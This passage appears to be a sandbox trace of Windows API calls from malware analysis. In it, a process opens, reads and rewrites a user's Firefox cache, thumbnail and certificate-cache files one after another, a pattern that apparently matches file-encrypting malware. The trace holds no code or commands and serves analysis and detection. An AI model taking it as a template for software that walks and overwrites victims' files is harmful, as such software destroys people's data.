cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stars.htm", lpUsedDefaultChar=0x0) returned 9 [0053.725] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737d58, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737d58*, lpNumberOfBytesRead=0x354f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0053.726] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0053.726] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0053.726] CloseHandle (hObject=0x1ac) returned 1 [0053.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x133d5 [0053.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.727] ReleaseMutex (hMutex=0x128) returned 1 [0053.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24B53d01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="24B53d01", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="24B53d01", lpUsedDefaultChar=0x0) returned 8 [0053.727] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.729] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x123d5 [0053.729] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.730] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x123d5 [0053.731] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.731] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.731] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.731] CloseHandle (hObject=0x1ac) returned 1 [0053.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.740] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.740] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x400000 [0053.740] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.740] ReleaseMutex (hMutex=0x128) returned 1 [0053.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_CACHE_003_", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_CACHE_003_", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_CACHE_003_", lpUsedDefaultChar=0x0) returned 11 [0053.740] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.047] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.932] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0054.934] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3fe000 [0054.934] ReadFile (in: hFile=0x1cc, lpBuffer=0x2613678, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0054.937] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3fe000 [0054.938] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x2588, lpOverlapped=0x0) returned 1 [0061.624] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0061.625] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0061.626] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0061.627] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x354f28c*=0x2000, lpOverlapped=0x0) returned 1 [0061.627] CloseHandle (hObject=0x1cc) returned 1 [0061.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.628] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.628] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x40b0 [0061.628] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.628] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.628] ReleaseMutex (hMutex=0x128) returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ba182bcd131f1f3c6b6fbbb1ba078341.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0061.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ba182bcd131f1f3c6b6fbbb1ba078341.png", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpUsedDefaultChar=0x0) returned 36 [0061.628] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0061.630] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x30b0 [0061.630] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0061.630] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x30b0 [0061.631] WriteFile (in: hFile=0x1cc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0061.631] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0061.631] WriteFile (in: hFile=0x1cc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0061.631] CloseHandle (hObject=0x1cc) returned 1 [0061.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3130b1871a126520a8c47861efe3ed4d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.632] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.632] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x209 [0061.632] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.632] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.632] ReleaseMutex (hMutex=0x128) returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3130B1871A126520A8C47861EFE3ED4D", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3130B1871A126520A8C47861EFE3ED4D", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3130B1871A126520A8C47861EFE3ED4D", lpUsedDefaultChar=0x0) returned 32 [0061.632] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x209, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x354f2bc*=0x209, lpOverlapped=0x0) returned 1 [0061.633] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.633] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x791, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x354f2d0*=0x791, lpOverlapped=0x0) returned 1 [0061.633] CloseHandle (hObject=0x1cc) returned 1 [0061.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7396c420a8e1bc1da97f1af0d10bad21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.634] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.634] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x22a [0061.634] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.634] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.634] ReleaseMutex (hMutex=0x128) returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7396C420A8E1BC1DA97F1AF0D10BAD21", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7396C420A8E1BC1DA97F1AF0D10BAD21", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7396C420A8E1BC1DA97F1AF0D10BAD21", lpUsedDefaultChar=0x0) returned 32 [0061.634] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x22a, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x354f2bc*=0x22a, lpOverlapped=0x0) returned 1 [0061.635] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.635] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x354f2d0*=0x7b2, lpOverlapped=0x0) returned 1 [0061.635] CloseHandle (hObject=0x1cc) returned 1 [0061.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.636] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.636] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1cf [0061.636] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.636] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.636] ReleaseMutex (hMutex=0x128) returned 1 [0061.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpUsedDefaultChar=0x0) returned 65 [0061.636] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x354f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0061.637] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0061.637] WriteFile (in: hFile=0x1cc, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x354f2d0*=0x757, lpOverlapped=0x0) returned 1 [0061.637] CloseHandle (hObject=0x1cc) returned 1 [0061.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.638] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.638] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd2da [0061.638] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.638] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.638] ReleaseMutex (hMutex=0x128) returned 1 [0061.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="94308059B57B3142E455B38A6EB92015", lpUsedDefaultChar=0x0) returned 32 [0061.638] ReadFile (in: hFile=0x1cc, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0061.640] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xc2da [0061.640] ReadFile (in: hFile=0x1cc, lpBuffer=0x272d308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x272d308*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0061.640] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xc2da [0061.641] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0061.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0061.641] WriteFile (in: hFile=0x1cc, lpBuffer=0x27292d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0061.641] CloseHandle (hObject=0x1cc) returned 1 [0061.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0061.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5ed [0061.642] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0061.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.642] ReleaseMutex (hMutex=0x128) returned 1 [0061.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0061.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpUsedDefaultChar=0x0) returned 65 [0061.642] ReadFile (in: hFile=0x1cc, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5ed, 